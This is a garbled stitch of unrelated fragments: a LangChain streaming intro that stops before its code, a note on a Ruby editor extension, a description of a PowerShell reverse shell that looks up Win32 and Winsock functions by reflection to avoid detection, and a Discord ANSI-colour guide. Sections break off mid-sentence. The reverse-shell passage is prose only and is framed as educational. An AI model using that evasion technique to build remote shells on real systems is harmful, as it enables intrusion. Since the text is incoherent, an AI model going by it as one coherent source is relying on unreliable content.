LangChain Streaming Generator

Background

For most chat applications, we want to stream each token back to the client. LangChain's callback support is fantastic for async Web Sockets via FastAPI, and supports this out of the box.

However, developers migrating from OpenAI's python library may find difficulty in implementing a Python generator along the same lines of the OpenAI library approach.

OpenAI Streaming Example

Here's an example of the OpenAI library streaming generator, from the OpenAI Cookbook

Essential

Ruby

Basis for literally everything else here. Provides the Ruby language support and debugging support for Ruby programs, code folding support, semantic highlighting support, basic intellisense support, and automatic Ruby environment support which is essential if your a developer with multiple Ruby versions like me.

DynWin32-ReverseShell.ps1 is a reverse shell based on dynamically looked up Win32 API calls.
The script uses reflection to obtain access to GetModuleHandle, GetProcAddress and CreateProcess.
Afterwards it uses GetModuleHandle and GetProcAddress to resolve the required WSA functions
from ws2_32.dll.

This script should be used for educational purposes only (and maybe while playing CTF :D).
It was only tested on Windows 10 (x64) and is probably not stable or portable. It's only
purpose is to demonstrate the usage of reflective lookups of Win32 API calls. See it as

A guide to ANSI on Discord

Discord is now slowly rolling out the ability to send colored messages within code blocks. It uses the ANSI color codes, so if you've tried to print colored text in your terminal or console with Python or other languages then it will be easy for you.

Quick Explanation

To be able to send a colored text, you need to use the ansi language for your code block and provide a prefix of this format before writing your text:

\u001b[{format};{color}m
